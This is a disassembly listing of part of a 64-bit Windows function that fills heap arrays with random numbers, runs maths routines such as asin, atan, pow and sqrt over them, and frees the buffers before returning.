mov dword [rbp + 0x14fc], 0
jmp 0x140002bb6
mov eax, dword [rbp + 0x14fc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x12b8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x14fc]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x12b0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.floor
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x14fc], 1
cmp dword [rbp + 0x14fc], 0x129
jle 0x140002b64
mov ecx, 0x560
call sym.malloc
mov qword [rbp + 0x12a8], rax
mov dword [rbp + 0x14f8], 0
jmp 0x140002c2d
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000e088]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x14f8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x12a8]
add rax, rdx
movsd xmm1, qword [0x14000e090]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x14f8], 1
cmp dword [rbp + 0x14f8], 0xab
jle 0x140002bdf
mov dword [rbp + 0x14f8], 0
jmp 0x140002c97
mov eax, dword [rbp + 0x14f8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x12a8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x14f8]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x12a8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x14f8], 1
cmp dword [rbp + 0x14f8], 0xab
jle 0x140002c45
mov dword [rbp + 0x14f4], 0xffffffff
add dword [rbp + 0x14f4], 1
call sym.rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x38e38e39
shr rax, 0x20
sar eax, 2
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x12a4], eax
mov ecx, dword [rbp + 0x12a4]
mov eax, ecx
shl eax, 3
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x12a4], edx
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000e088]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x12a4]
movq xmm0, rax
call dbg.ldexp
movq rax, xmm0
mov qword [rbp + 0x1298], rax
cmp dword [rbp + 0x14f4], 0xd4
jle 0x140002cad
mov dword [rbp + 0x14f0], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x14e8], xmm0
add dword [rbp + 0x14f0], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x14f0]
movsd xmm0, qword [0x14000e090]
addsd xmm0, xmm1
mov rax, qword [0x14000e0b0]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x14f0]
addsd xmm0, xmm0
movsd xmm2, qword [0x14000e090]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x14e8]
addsd xmm0, xmm1
movsd qword [rbp + 0x14e8], xmm0
cmp dword [rbp + 0x14f0], 0x84
jle 0x140002d50
movsd xmm1, qword [rbp + 0x14e8]
movsd xmm0, qword [0x14000e0b8]
mulsd xmm0, xmm1
movsd qword [rbp + 0x14e8], xmm0
mov dword [rbp + 0x14e4], 0xffffffff
mov ecx, 0x2c8
call sym.malloc
mov qword [rbp + 0x1290], rax
add dword [rbp + 0x14e4], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x14e4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1290]
add rax, rdx
movsd xmm1, qword [0x14000e088]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x14e4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1290]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x14e4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1290]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x14e4], 0x57
jle 0x140002e0d
mov dword [rbp + 0x14dc], 0
mov dword [rbp + 0x128c], 0
mov ecx, 0x7f4
call sym.malloc
mov qword [rbp + 0x1280], rax
mov dword [rbp + 0x14e0], 0
jmp 0x140002f50
call sym.rand
mov ecx, eax
mov eax, dword [rbp + 0x14e0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1280]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x14e0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1280]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x14dc], eax
add dword [rbp + 0x14e0], 1
cmp dword [rbp + 0x14e0], 0x1fc
jle 0x140002ed4
mov rax, qword [rbp + 0x1280]
mov rcx, rax
call sym.free
mov ecx, 0x94
call sym.malloc
mov qword [rbp + 0x1278], rax
mov ecx, 0x94
call sym.malloc
mov qword [rbp + 0x1270], rax
mov ecx, 0x94
call sym.malloc
mov qword [rbp + 0x1268], rax
mov ecx, 0x94
call sym.malloc
mov qword [rbp + 0x1260], rax
mov dword [rbp + 0x14d4], 0x24
mov dword [rbp + 0x14d8], 0
jmp 0x1400030d8
call sym.rand
mov edx, dword [rbp + 0x14d8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1278]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sym.rand
mov edx, dword [rbp + 0x14d8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1270]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x14d4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1278]
add rax, rdx
mov edx, dword [rbp + 0x14d8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1268]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x14d4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1270]
add rax, rdx
mov edx, dword [rbp + 0x14d8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1260]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x14d4], 1
add dword [rbp + 0x14d8], 1
cmp dword [rbp + 0x14d8], 0x24
jle 0x140002fcc
mov rax, qword [rbp + 0x1278]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1270]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1268]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1260]
mov rcx, rax
call sym.free
mov dword [rbp + 0x14d0], 0
mov dword [rbp + 0x14cc], 0
mov ecx, 0x1d4
call sym.malloc
mov qword [rbp + 0x1258], rax
mov dword [rbp + 0x14c8], 0
jmp 0x1400031c0
call sym.rand
mov edx, dword [rbp + 0x14c8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1258]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x14c8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1258]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x14d0], eax
add dword [rbp + 0x14c8], 1
cmp dword [rbp + 0x14c8], 0x74
jle 0x140003152
mov dword [rbp + 0x14c8], 0
jmp 0x140003245
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x14cc]
mov eax, dword [rbp + 0x14c8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1258]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x10b8]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, qword [0x14000e0c0]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x14cc], eax
add dword [rbp + 0x14c8], 1
cmp dword [rbp + 0x14c8], 0x74
jle 0x1400031d5
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x14cc]
movss xmm1, dword [0x14000e0c8]
divss xmm0, xmm1
movss dword [rbp + 0x1254], xmm0
pxor xmm4, xmm4
cvtss2sd xmm4, dword [rbp + 0x1254]
movq rax, xmm4
movq xmm0, rax
call dbg.sqrt
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x1250], xmm0
mov rax, qword [rbp + 0x1258]
mov rcx, rax
call sym.free
mov ecx, 0xbc
call sym.malloc
mov qword [rbp + 0x1248], rax
mov dword [rbp + 0x14c4], 0
jmp 0x14000330e
call sym.rand
mov edx, dword [rbp + 0x14c4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1248]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x14c4], 1
cmp dword [rbp + 0x14c4], 0x2e
jle 0x1400032c1
mov dword [rbp + 0x14c4], 0
jmp 0x1400033fb
cmp dword [rbp + 0x14c4], 0
je 0x14000336b
mov eax, dword [rbp + 0x14c4]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x1248]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x14c4]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x1248]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x140003377
add dword [rbp + 0x14c4], 1
jmp 0x1400033fb
cmp dword [rbp + 0x14c4], 0x2e
jle 0x140003326
mov rax, qword [rbp + 0x1248]
mov rcx, rax
call sym.free
mov ecx, 0x414
call sym.malloc
mov qword [rbp + 0x1240], rax
mov dword [rbp + 0x14c0], 0
jmp 0x140003481
cmp dword [rbp + 0x14c0], 0x104
jle 0x140003434
mov eax, 0
movups xmm6, xmmword [rbp + 0x1580]
add rsp, 0x1610
pop rbx
pop rdi
pop rbp
ret